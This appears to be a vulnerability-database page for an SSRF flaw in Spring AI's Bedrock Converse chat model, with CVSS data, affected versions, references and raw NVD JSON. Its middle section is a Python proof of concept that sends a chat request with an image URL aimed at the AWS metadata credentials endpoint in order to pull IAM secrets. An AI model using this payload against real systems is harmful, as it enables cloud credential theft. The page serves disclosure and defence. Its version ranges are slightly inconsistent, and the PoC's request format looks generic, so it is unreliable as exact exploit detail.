CVE-2026-22742

Description

Spring AI's spring-ai-bedrock-converse contains a Server-Side Request Forgery (SSRF) vulnerability in BedrockProxyChatModel when processing multimodal messages that include user-supplied media URLs. Insufficient validation of those URLs allows an attacker to induce the server to issue HTTP requests to unintended internal or external destinations. This issue affects Spring AI: from 1.0.0 before 1.0.5, from 1.1.0 before 1.1.4.

CVSS Details

CVSS Score

8.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:* - VULNERABLE

Spring AI 1.0.0 至 1.0.5

Spring AI 1.1.0 至 1.1.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# Target vulnerable Spring AI endpoint
# Replace with actual vulnerable endpoint URL
target_url = "http://vulnerable-spring-ai-app/api/chat"

# Malicious payload demonstrating SSRF
# Attempting to access internal metadata service (AWS Example)
ssrf_payload = {
    "messages": [
        {
            "role": "user",
            "content": [
                {
                    "type": "image_url",
                    "image_url": {
                        # URL pointing to internal service
                        "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
                    }
                },
                {
                    "type": "text",
                    "text": "Describe what you see in this image link."
                }
            ]
        }
    ],
    "options": {
        "model": "anthropic.claude-3-sonnet-20240229-v1:0"
    }
}

try:
    headers = {"Content-Type": "application/json"}
    # Send the malicious request
    response = requests.post(target_url, data=json.dumps(ssrf_payload), headers=headers, timeout=10)
    
    if response.status_code == 200:
        print("[+] SSRF Request sent successfully!")
        print("[+] Server response:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        print(response.text)
        
except requests.exceptions.RequestException as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22742
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22742
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22742/
[4] VulDB https://vuldb.com/cve/CVE-2026-22742
[5] https://spring.io/security/cve-2026-22742

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-22742", "sourceIdentifier": "[email protected]", "published": "2026-03-27T06:16:37.833", "lastModified": "2026-05-10T14:16:48.260", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Spring AI's spring-ai-bedrock-converse contains a Server-Side Request Forgery (SSRF) vulnerability in BedrockProxyChatModel when processing multimodal messages that include user-supplied media URLs. Insufficient validation of those URLs allows an attacker to induce the server to issue HTTP requests to unintended internal or external destinations.\nThis issue affects Spring AI: from 1.0.0 before 1.0.5, from 1.1.0 before 1.1.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.0.5", "matchCriteriaId": "28BAEC64-E23B-478B-B206-5580BB00516F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_ai:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.0", "versionEndExcluding": "1.1.4", "matchCriteriaId": "E3774C35-AE82-486B-8E13-8FCC34D3CA30"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-22742", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}